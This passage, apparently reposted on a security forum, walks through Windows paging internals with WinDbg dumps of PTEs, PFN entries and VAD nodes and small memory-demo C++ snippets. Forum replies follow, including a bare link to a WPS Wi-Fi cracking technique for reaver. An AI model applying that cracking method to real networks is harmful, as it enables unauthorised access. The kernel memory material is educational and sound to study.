section, shared commit 0x6 fffffa802b4738b0 5 6e0 860 0 Mapped READONLY Pagefile section, shared commit 0x181 fffffa802942ea30 6 870 1c6f 0 Mapped READONLY Pagefile section, shared commit 0x23 fffffa802b242260 3 1cf0 1d6f 28 Private READWRITE fffffa802aa66d60 5 1e10 1e8f 113 Private READWRITE fffffa8019499560 4 3030 395f 0 Mapped READONLY \Windows\Fonts\StaticCache.dat fffffa8019246370 5 3960 3c2e 0 Mapped READONLY \Windows\Globalization\Sorting\SortDefault.nls fffffa802b184c50 6 3c30 3d2f 1 Private READWRITE fffffa802b45f180 2 77420 77519 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\user32.dll fffffa80192afa20 4 77520 7763e 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\kernel32.dll fffffa802a8ba9c0 3 77640 777e9 14 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ntdll.dll fffffa802910a440 5 7efe0 7f0df 0 Mapped READONLY Pagefile section, shared commit 0x5 fffffa802b26d180 4 7f0e0 7ffdf 0 Private READONLY fffffa802b4cb160 0 7ffe0 7ffef -1 Private READONLY fffffa802b4e60d0 5 ffd50 ffd84 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\notepad.exe fffffa801978d170 4 7fefa530 7fefa5a0 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\winspool.drv fffffa80197e0970 5 7fefaab0 7fefab05 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\uxtheme.dll fffffa802a6d9720 6 7fefafd0 7fefafe7 5 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\dwmapi.dll fffffa80197ecc50 3 7fefb390 7fefb583 6 Mapped Exe EXECUTE_WRITECOPY \Windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757\comctl32.dll fffffa802a91e010 5 7fefc3c0 7fefc3cb 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\version.dll fffffa80197cb010 6 7fefd1d0 7fefd1de 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\cryptbase.dll fffffa80290fe9c0 4 7fefd440 7fefd4a9 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\KernelBase.dll fffffa8029109e30 5 7fefd6f0 7fefd6fd 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\lpk.dll fffffa8029522520 6 7fefd720 7fefd74d 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\imm32.dll fffffa802910bce0 2 7fefd800 7fefd8da 7 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\advapi32.dll fffffa80290d9500 5 7fefd8e0 7fefdadb 9 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ole32.dll fffffa802af4a0c0 4 7fefdae0 7fefe86a 13 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\shell32.dll fffffa8019787170 5 7fefea50 7fefea6e 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\sechost.dll fffffa802a6e8010 3 7fefeda0 7fefee36 6 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\comdlg32.dll fffffa802a6ae010 5 7fefee50 7fefef58 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\msctf.dll fffffa802910dac0 4 7feff0f0 7feff21c 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\rpcrt4.dll fffffa801948e940 1 7feff2a0 7feff33e 7 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\msvcrt.dll fffffa802aac1010 5 7feff340 7feff3b0 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\shlwapi.dll fffffa8029156010 4 7feff3c0 7feff48a 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\usp10.dll fffffa801956e170 5 7feff800 7feff8d9 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\oleaut32.dll fffffa8019789170 3 7feff8e0 7feff946 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\gdi32.dll fffffa801958e170 4 7feff960 7feff960 0 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\apisetschema.dll fffffa80290f3c10 2 7fffffb0 7fffffd2 0 Mapped READONLY Pagefile section, shared commit 0x23 fffffa802af28110 3 7fffffd5 7fffffd5 1 Private READWRITE fffffa802a714a30 4 7fffffde 7fffffdf 2 Private READWRITE Total VADs: 58, average level: 5, maximum depth: 6 Total private commit: 0x228 pages (2208 KB) Total shared commit: 0x2d3 pages (2892 KB) view raw tf-article2-windbg-18.txt hosted with ❤ by GitHub We can take a look at a MEM_PRIVATE page, such as 0x1cf0, and see if the PTE from the process' paging structures matches the PTE from the PFN database. 6: kd> ? 1cf0 * 0x1000 Evaluate expression: 30343168 = 00000000`01cf0000 6: kd> !pte 00000000`01cf0000 VA 0000000001cf0000 PXE at FFFFF6FB7DBED000 PPE at FFFFF6FB7DA00000 PDE at FFFFF6FB40000070 PTE at FFFFF6800000E780 contains 02D0000654195867 contains 0320000656E18867 contains 4F20000653448867 contains CF30000651EC9867 pfn 654195 ---DA--UWEV pfn 656e18 ---DA--UWEV pfn 653448 ---DA--UWEV pfn 651ec9 ---DA--UW-V 6: kd> !pfn 651ec9 PFN 00651EC9 at address FFFFFA8012F5C5B0 flink 000004F3 blink / share count 00000001 pteaddress FFFFF6800000E780 reference count 0001 used entry count 0000 Cached color 0 Priority 5 restore pte 00000080 containing page 653448 Active M Modified view raw tf-article2-windbg-19.txt hosted with ❤ by GitHub As we can see, it does match, with both addresses referring to 0xfffff680`0000e780. Because this memory is not shareable, the process' paging structures are able to manage the hardware PTE directly. In the case of shareable pages allocated with MEM_MAPPED, though, the PFN database maintains its own copy of the PTE. It's worth exploring different regions of memory this way, just to see how the paging structures and PFN entries are set up in different cases. As mentioned above, the VAD tree is another important consideration when dealing with user-mode memory as in many cases, it will actually be a VAD node which indicates where the prototype PTE for a given shared memory region resides. In these cases, the page fault handler will need to refer to the process' VAD tree and walk the tree until it finds the node responsible for the shared memory region. Figure 12: If the invalid PTE points to the process' VAD tree, a VAD walk must be performed to locate the appropriate _MMVAD node that represents the given virtual memory. The FirstPrototypePte member of the VAD node will indicate the starting virtual address of a region of memory that contains prototype PTEs for each shared page in the region. The list of prototype PTEs is terminated with the LastContiguousPte member of the VAD node. The page fault handler must then walk this list of prototype PTEs to find the PTE that backs the specific page that has faulted. Figure 13: The FirstPrototypePte member of the VAD node points to a region of memory that has a contiguous block of prototype PTEs that represent shared memory within that virtual address range. One more example to bring it all together It would be helpful to walk through each of these scenarios with a program that we control, and that we can change, if needed. That's precisely what we're going to do with the memdemo project. You can follow along by compiling the application yourself, or you can simply take a look at the code snippets that will be posted throughout this example. To start off, we'll load our memdemo.exe and then attach the kernel debugger. We then need to get a list of processes that are currently running on the system. kd> !process 0 0 **** NT ACTIVE PROCESS DUMP **** PROCESS ffffa50dcea99040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001aa000 ObjectTable: ffffd385360012c0 HandleCount: 2376. Image: System PROCESS ffffa50dcee27140 SessionId: none Cid: 01f4 Peb: dbfb731000 ParentCid: 0004 DirBase: 138ab8000 ObjectTable: ffffd38536339d40 HandleCount: 52. Image: smss.exe PROCESS ffffa50dcfb467c0 SessionId: 0 Cid: 0248 Peb: 5faaf3c000 ParentCid: 0240 DirBase: 138f83000 ObjectTable: ffffd385363d0f00 HandleCount: 531. Image: csrss.exe ... PROCESS ffffa50dd1070380 SessionId: 1 Cid: 097c Peb: 6f29798000 ParentCid: 02b4 DirBase: 1500d000 ObjectTable: ffffd3853d7ed380 HandleCount: 37. Image: memdemo.exe view raw tf-article2-windbg-19.txt hosted with ❤ by GitHub Let's quickly switch back to the application so that we can let it create our initial buffer. To do this, we're simply allocating some memory and then accessing it to make sure it's resident. // Allocate a buffer within our process. PVOID Private = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Use the memory to make sure it's resident. reinterpret_cast<PBYTE>(Private)[0] = 0xFF; view raw tf-article2-code1.txt hosted with ❤ by GitHub Upon running the code, we see that the application has created a buffer for us (in the current example) at 0x000001fe`151c0000. Your buffer may differ. We should hop back into our debugger now and check out that memory address. As mentioned before, it's important to remember to switch back into the process context of memdemo.exe when we break back in with the debugger. We have no idea what context we could have been in when we interrupted execution, so it's important to always do this step. kd> .process /i /P ffffa50dd1070380 You need to continue execution (press 'g' <enter>) for the context to be switched. When the debugger breaks in again, you will be in the new process context. kd> g Break instruction exception - code 80000003 (first chance) nt!DbgBreakPointWithStatus: fffff801`d9df7a40 cc int 3 view raw tf-article2-windbg-20.txt hosted with ❤ by GitHub When we wrote memdemo.exe, we could have used the __debugbreak() compiler intrinsic to avoid having to constantly switch back to our process' context. It would ensure that when the breakpoint was hit, we were already in the correct context. For the purposes of this article, though, it's best to practice swapping back into the correct process context, as during most live analysis we would not have the liberty of throwing int3 exceptions during the program's execution. We can now check out the memory at 0x000001fe`151c0000 using the db command. kd> db 0x000001fe`151c0000 000001fe`151c0000 ff 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151c0070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ view raw tf-article2-windbg-21.txt hosted with ❤ by GitHub Looks like that was a success - we can even see the 0xff byte that we wrote to it. Let's have a look at the backing PTE for this page using the !pte command. 6: kd> !pte 0x000001fe`151c0000 VA 000001fe151c0000 PXE at FFFFED76BB5DA018 PPE at FFFFED76BB403FC0 PDE at FFFFED76807F8540 PTE at FFFFED00FF0A8E00 contains 0A0000001A907867 contains 0A0000001B008867 contains 0A00000016609867 contains 80000000A1DD0867 pfn 1a907 ---DA--UWEV pfn 1b008 ---DA--UWEV pfn 16609 ---DA--UWEV pfn a1dd0 ---DA--UW-V view raw tf-article2-windbg-22.txt hosted with ❤ by GitHub That's good news. It seems like the Valid (V) bit is set, which is what we expect. The memory is Writeable (W), as well, which makes sense based on our PAGE_READWRITE permissions. Let's look at the PFN database entry using !pfn for page 0xa1dd0. kd> !pfn 0xa1dd0 PFN 000A1DD0 at address FFFFE70001E59700 flink 00000002 blink / share count 00000001 pteaddress FFFFED00FF0A8E00 reference count 0001 used entry count 0000 Cached color 0 Priority 5 restore pte 00000080 containing page 016609 Active M Modified view raw tf-article2-windbg-23.txt hosted with ❤ by GitHub We can see that the PFN entry points to the same PTE structure we were just looking at. We can go to the address of the PTE at 0xffffed00ff0a8e00 and cast it as an nt!_MMPTE. kd> dt nt!_MMPTE 0xffffed00ff0a8e00 -b +0x000 u : <unnamed-tag> +0x000 Long : 0x80000000`a1dd0867 +0x000 VolatileLong : 0x80000000`a1dd0867 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y1 +0x000 Dirty1 : 0y1 +0x000 Owner : 0y1 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y1 +0x000 Dirty : 0y1 +0x000 LargePage : 0y0 +0x000 Global : 0y0 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100001110111010000 (0xa1dd0) +0x000 ReservedForHardware : 0y0000 +0x000 ReservedForSoftware : 0y0000 +0x000 WsleAge : 0y0000 +0x000 WsleProtection : 0y000 +0x000 NoExecute : 0y1 … view raw tf-article2-windbg-24.txt hosted with ❤ by GitHub We see that it's Valid, Dirty, Accessed, and Writeable, which are all things that we expect. The Accessed bit is set by the hardware when the page table entry is used for translation. If that bit is set, it means that at some point the memory has been accessed because the PTE was used as part of an address translation. Software can reset this value in order to track accesses to certain memory. Similarly, the Dirty bit shows that the memory has been written to, and is also set by the hardware. We see that it's set for us because we wrote our 0xff byte to the page. Now let's let the application execute using the g command. We're going to let the program page out the memory that we were just looking at, using the following code: // Unlock the virtual memory (just in case). VirtualUnlock(Private, 4096); // Flush the process' working set. SetProcessWorkingSetSize(GetCurrentProcess(), (SIZE_T)-1, (SIZE_T)-1); view raw tf-article2-code2.txt hosted with ❤ by GitHub Once that's complete, don't forget to switch back to the process context again. We need to do that every time we go back into the debugger! Now let's check out the PTE with the !pte command after the page has been supposedly trimmed from our working set. kd> !pte 0x000001fe`151c0000 VA 000001fe151c0000 PXE at FFFFED76BB5DA018 PPE at FFFFED76BB403FC0 PDE at FFFFED76807F8540 PTE at FFFFED00FF0A8E00 contains 0A0000001A907867 contains 0A0000001B008867 contains 0A00000016609867 contains 00000000A1DD0880 pfn 1a907 ---DA--UWEV pfn 1b008 ---DA--UWEV pfn 16609 ---DA--UWEV not valid Transition: a1dd0 Protect: 4 - ReadWrite view raw tf-article2-windbg-25.txt hosted with ❤ by GitHub We see now that the PTE is no longer valid, because the page has been trimmed from our working set; however, it has not been paged out of RAM yet. This means it is in a transition state, as shown by WinDbg. We can verify this for ourselves by looking at the actual PTE structure again. kd> dt nt!_MMPTE 0xffffed00ff0a8e00 -b +0x000 u : <unnamed-tag> +0x000 Long : 0xa1dd0880 +0x000 VolatileLong : 0xa1dd0880 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y0 +0x000 Dirty1 : 0y0 +0x000 Owner : 0y0 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y0 +0x000 Dirty : 0y0 +0x000 LargePage : 0y1 +0x000 Global : 0y0 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100001110111010000 (0xa1dd0) +0x000 ReservedForHardware : 0y0000 +0x000 ReservedForSoftware : 0y0000 +0x000 WsleAge : 0y0000 +0x000 WsleProtection : 0y000 +0x000 NoExecute : 0y0 ... +0x000 Trans : _MMPTE_TRANSITION +0x000 Valid : 0y0 +0x000 Write : 0y0 +0x000 Spare : 0y00 +0x000 IoTracker : 0y0 +0x000 Protection : 0y00100 (0x4) +0x000 Prototype : 0y0 +0x000 Transition : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100001110111010000 (0xa1dd0) +0x000 Unused : 0y0000000000000000 (0) ... view raw tf-article2-windbg-26.txt hosted with ❤ by GitHub In the _MMPTE_TRANSITION version of the structure, the Transition bit is set. So because the memory hasn't yet been paged out, if our program were to access that memory, it would cause a soft page fault that would then simply mark the PTE as valid again. If we examine the PFN entry with !pfn, we can see that the page is still resident in physical memory for now, and still points to our original PTE. kd> !pfn 0xa1dd0 PFN 000A1DD0 at address FFFFE70001E59700 flink 0001614A blink / share count 0013230A pteaddress FFFFED00FF0A8E00 reference count 0000 used entry count 0000 Cached color 0 Priority 5 restore pte 00000080 containing page 016609 Modified M Modified view raw tf-article2-windbg-27.txt hosted with ❤ by GitHub Now let's press g again and let the app continue. It'll create a shared section of memory for us. In order to do so, we need to create a file mapping and then map a view of that file into our process. // Create a section object to demonstrate shared memory. HANDLE Mapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, 4096, L"memdemosec"); // Map the section into our process. PVOID Shared = MapViewOfFile(Mapping, FILE_MAP_ALL_ACCESS, 0, 0, 4096); // Use the memory to make sure it's resident. reinterpret_cast<PBYTE>(Shared)[0] = 0xFF; view raw tf-article2-code3.txt hosted with ❤ by GitHub Let's take a look at the shared memory (at 0x000001fe`151d0000 in this example) using db. Don't forget to change back to our process context when you switch back into the debugger. kd> db 0x000001fe`151d0000 000001fe`151d0000 ff 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000001fe`151d0070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ view raw tf-article2-windbg-28.txt hosted with ❤ by GitHub And look! There's the 0xff that we wrote to this memory region as well. We're going to follow the same steps that we did with the previous allocation, but first let's take a quick look at our process' VAD tree with the !vad command. kd> !vad VAD Level Start End Commit ffffa50dcf7a1660 4 7ffe0 7ffe0 1 Private READONLY ffffa50dcf78c450 3 7ffe1 7ffef -1 Private READONLY ffffa50dcf8a3240 4 6f29440 6f2953f 7 Private READWRITE ffffa50dcf78b280 2 6f29600 6f297ff 3 Private READWRITE ffffa50dd1bd9180 3 1fe15080 1fe1508f 0 Mapped READWRITE Pagefile section, shared commit 0 ffffa50dcf74b890 4 1fe15090 1fe15096 1 Private READWRITE ffffa50dcfb58620 1 1fe150a0 1fe150b7 0 Mapped READONLY Pagefile section, shared commit 0 ffffa50dcf7595f0 3 1fe150c0 1fe150c3 0 Mapped READONLY Pagefile section, shared commit 0 ffffa50dcf669330 2 1fe150d0 1fe150d0 0 Mapped READONLY Pagefile section, shared commit 0 ffffa50dd027cdc0 0 1fe150e0 1fe150e0 1 Private READWRITE ffffa50dd16580b0 4 1fe150f0 1fe151b4 0 Mapped READONLY \Windows\System32\locale.nls ffffa50dd15f0470 3 1fe151c0 1fe151c0 1 Private READWRITE ffffa50dd2313a20 4 1fe151d0 1fe151d0 0 Mapped READWRITE Pagefile section, shared commit 0 ffffa50dcfd121a0 2 1fe15280 1fe1537f 21 Private READWRITE ffffa50dcf791350 3 7ff7f5c60 7ff7f5d5f 0 Mapped READONLY Pagefile section, shared commit 0 ffffa50dcf74fd50 1 7ff7f5d60 7ff7f5d82 0 Mapped READONLY Pagefile section, shared commit 0 ffffa50dcf721450 4 7ff7f62e0 7ff7f643d 95 Mapped Exe EXECUTE_WRITECOPY \Users\Michael\Desktop\memdemo.exe ffffa50dcf7a5780 3 7ffc3d340 7ffc3d3bd 5 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\apphelp.dll ffffa50dcf7515c0 4 7ffc3f6d0 7ffc3f918 9 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\KernelBase.dll ffffa50dd1708390 2 7ffc40120 7ffc401cd 6 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\kernel32.dll ffffa50dcf74fdf0 3 7ffc42750 7ffc4292a 12 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ntdll.dll Total VADs: 21, average level: 3, maximum depth: 4 Total private commit: 0xa2 pages (648 KB) Total shared commit: 0 pages (0 KB) view raw tf-article2-windbg-29.txt hosted with ❤ by GitHub You can see the first allocation we did, starting at virtual page number 0x1fe151c0. It's a Private region that has the PAGE_READWRITE permissions applied to it. You can also see the shared section allocated at VPN 0x1fe151d0. It has the same permissions as the non-shared region; however, you can see that it's Mapped rather than Private. Let's take a look at the PTE information that's backing our shared memory. kd> !pte 0x000001fe`151d0000 VA 000001fe151d0000 PXE at FFFFED76BB5DA018 PPE at FFFFED76BB403FC0 PDE at FFFFED76807F8540 PTE at FFFFED00FF0A8E80 contains 0A0000001A907867 contains 0A0000001B008867 contains 0A00000016609867 contains C1000000A76CC867 pfn 1a907 ---DA--UWEV pfn 1b008 ---DA--UWEV pfn 16609 ---DA--UWEV pfn a76cc ---DA--UW-V view raw tf-article2-windbg-30.txt hosted with ❤ by GitHub This region, too, is Valid and Writeable, just like we'd expect. Now let's take a look at the !pfn. kd> !pfn a76cc PFN 000A76CC at address FFFFE70001F64640 flink 00000002 blink / share count 00000001 pteaddress FFFFD3853DA57B60 reference count 0001 used entry count 0000 Cached color 0 Priority 5 restore pte 00000080 containing page 002DCB Active MP Modified Shared view raw tf-article2-windbg-31.txt hosted with ❤ by GitHub We see that the Share Count now actually shows us how many times the page has been shared, and the page also has the Shared property. In addition, we see that the PTE address referenced by the PFN entry is not the same as the PTE that we got from the !pte command. That's because the PFN database entry is referencing a prototype PTE, while the PTE within our process is acting as a hardware PTE because the memory is still valid and mapped in. Let's take a look at the PTE structure that's in our process' paging structures, that was originally found with the !pte command. kd> dt nt!_MMPTE FFFFED00FF0A8E80 -b +0x000 u : <unnamed-tag> +0x000 Long : 0xc1000000`a76cc867 +0x000 VolatileLong : 0xc1000000`a76cc867 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y1 +0x000 Dirty1 : 0y1 +0x000 Owner : 0y1 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y1 +0x000 Dirty : 0y1 +0x000 LargePage : 0y0 +0x000 Global : 0y0 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100111011011001100 (0xa76cc) +0x000 ReservedForHardware : 0y0000 +0x000 ReservedForSoftware : 0y0000 +0x000 WsleAge : 0y0001 +0x000 WsleProtection : 0y100 +0x000 NoExecute : 0y1 ... view raw tf-article2-windbg-32.txt hosted with ❤ by GitHub We can see that it's Valid, so it will be used by the hardware for address translation. Let's see what we find when we take a look at the prototype PTE being referenced by the PFN entry. kd> dt nt!_MMPTE FFFFD3853DA57B60 -b +0x000 u : <unnamed-tag> +0x000 Long : 0x8a000000`a76cc921 +0x000 VolatileLong : 0x8a000000`a76cc921 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y1 +0x000 Dirty1 : 0y0 +0x000 Owner : 0y0 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y1 +0x000 Dirty : 0y0 +0x000 LargePage : 0y0 +0x000 Global : 0y1 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100111011011001100 (0xa76cc) +0x000 ReservedForHardware : 0y0000 +0x000 ReservedForSoftware : 0y0000 +0x000 WsleAge : 0y1010 +0x000 WsleProtection : 0y000 +0x000 NoExecute : 0y1 ... view raw tf-article2-windbg-33.txt hosted with ❤ by GitHub This PTE is also valid, because it's representing the true state of the physical page. Something interesting to note, though, is that you can see that the Dirty bit is not set. Because this bit is only set by the hardware in the context of whatever process is doing the writing, you can theoretically use this bit to actually detect which process on a system wrote to a shared memory region. Now let's run the app more and let it page out the shared memory using the same technique we used with the private memory. Here's what the code looks like: // Unlock the virtual memory (just in case). VirtualUnlock(Shared, 4096); // Flush the process' working set. SetProcessWorkingSetSize(GetCurrentProcess(), (SIZE_T)-1, (SIZE_T)-1); view raw tf-article2-code4.txt hosted with ❤ by GitHub Let's take a look at the memory with db now. kd> db 0x000001fe`151d0000 000001fe`151d0000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 000001fe`151d0070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? view raw tf-article2-windbg-34.txt hosted with ❤ by GitHub We see now that it's no longer visible in our process. If we do !pte on it, let's see what we get. kd> !pte 0x000001fe`151d0000 VA 000001fe151d0000 PXE at FFFFED76BB5DA018 PPE at FFFFED76BB403FC0 PDE at FFFFED76807F8540 PTE at FFFFED00FF0A8E80 contains 0A0000001A907867 contains 0A0000001B008867 contains 0A00000016609867 contains FFFFFFFF00000480 pfn 17f59 ---DA--UWEV pfn 7b5a ---DA--UWEV pfn 9a476 ---DA--UWEV not valid Proto: VAD Protect: 4 - ReadWrite view raw tf-article2-windbg-35.txt hosted with ❤ by GitHub The PTE that's backing our page is no longer valid. We still get an indication of what the page permissions were, but the PTE now tells us to refer to the process' VAD tree in order to get access to the prototype PTE that contains the real state. If you recall from when we used the !vad command earlier in our example, the address of the VAD node for our shared memory is 0xffffa50d`d2313a20. Let's take a look at that memory location as an nt!_MMVAD structure. kd> dt nt!_MMVAD ffffa50dd2313a20 +0x000 Core : _MMVAD_SHORT +0x040 u2 : <unnamed-tag> +0x048 Subsection : 0xffffa50d`d1db63e0 _SUBSECTION +0x050 FirstPrototypePte : 0xffffd385`3da57b60 _MMPTE +0x058 LastContiguousPte : 0xffffd385`3da57b60 _MMPTE +0x060 ViewLinks : _LIST_ENTRY [ 0xffffa50d`d1db6368 - 0xffffa50d`d1db6368 ] +0x070 VadsProcess : 0xffffa50d`d1070380 _EPROCESS +0x078 u4 : <unnamed-tag> +0x080 FileObject : (null) view raw tf-article2-windbg-36.txt hosted with ❤ by GitHub The FirstPrototypePte member contains a pointer to a location in virtual memory that stores contiguous prototype PTEs for the region of memory represented by this VAD node. Since we only allocated (and subsequently paged out) one page, there's only one prototype PTE in this list. The LastContiguousPte member shows that our prototype PTE is both the first and last element in the list. Let's take a look at this prototype PTE as an nt!_MMPTE structure. kd> dt nt!_MMPTE 0xffffd385`3da57b60 -b +0x000 u : <unnamed-tag> +0x000 Long : 0xa7fad880 +0x000 VolatileLong : 0xa7fad880 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y0 +0x000 Dirty1 : 0y0 +0x000 Owner : 0y0 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y0 +0x000 Dirty : 0y0 +0x000 LargePage : 0y1 +0x000 Global : 0y0 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100111111110101101 (0xa7fad) +0x000 ReservedForHardware : 0y0000 +0x000 ReservedForSoftware : 0y0000 +0x000 WsleAge : 0y0000 +0x000 WsleProtection : 0y000 +0x000 NoExecute : 0y0 … view raw tf-article2-windbg-37.txt hosted with ❤ by GitHub We can see that the prototype indicates that the memory is no longer valid. So what can we do to force this page back into memory? We access it, of course. Let's let the app run one more step so that it can try to access this memory again. // Use the memory one more time. reinterpret_cast<PBYTE>(Shared)[0] = 0xFF; view raw tf-article2-code5.txt hosted with ❤ by GitHub Remember to switch back into the context of the process after the application has executed the next step, and then take a look at the PTE from the PFN entry again. kd> dt nt!_MMPTE 0xffffd385`3da57b60 -b +0x000 u : <unnamed-tag> +0x000 Long : 0x8a000000`a7fad963 +0x000 VolatileLong : 0x8a000000`a7fad963 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y1 +0x000 Dirty1 : 0y1 +0x000 Owner : 0y0 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y1 +0x000 Dirty : 0y1 +0x000 LargePage : 0y0 +0x000 Global : 0y1 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y1 +0x000 PageFrameNumber : 0y000000000000000010100111111110101101 (0xa7fad) +0x000 ReservedForHardware : 0y0000 +0x000 ReservedForSoftware : 0y0000 +0x000 WsleAge : 0y1010 +0x000 WsleProtection : 0y000 +0x000 NoExecute : 0y1 view raw tf-article2-windbg-38.txt hosted with ❤ by GitHub Looks like it's back, just like we expected! Exhausted yet? Compared to the 64-bit paging scheme we talked about in our last article, Windows memory management is significantly more complex and involves a lot of moving parts. But at it's core, it's not too daunting. Hopefully, now with a much stronger grasp of how things work under the hood, we can put our memory management knowledge to use in something practical in a future article. If you're interested in getting your hands on the code used in this article, you can check it out on GitHub and experiment on your own with it. Further reading and attributions Consider picking up a copy of "Windows Internals, 7th Edition" or "What Makes It Page?" to get an even deeper dive on the Windows virtual memory manager. Thank you to Alex Ionescu for additional tips and clarification. Thanks to irqlnotdispatchlevel for pointing out an address miscalculation. Sursa: http://www.triplefault.io/2017/08/exploring-windows-virtual-memory.html
      • 1
      • Upvote
  4. https://github.com/t6x/reaver-wps-fork-t6x/wiki/Introducing-a-new-way-to-crack-WPS:-Option--p-with-an-Arbitrary-String
  5. A fost publicata agenda. https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2017#tab=Conference_0101_talks https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2017#tab=Conference_1010_talks
  6. Pastrezi o referinta globala la "starea curenta" (un pointer de exemplu in C). Apoi, fiecare stare poate sa aiba un vector cu actiunile pe care sa le urmeze (pointer la functie in C) si evenimentele pe care le proceseaza. Cred ca HashMap ar ajuta aici, dar poti face un vector cu o structura cu Event/Pointer si la primirea unui eveniment il parcurgi si daca exista event definit, apelezi functia. Sunt doar cateva idei generale de implementare. Am folosit state machine la Shellcode Compiler, dar nu stiu daca te ajuta cu ceva codul meu.
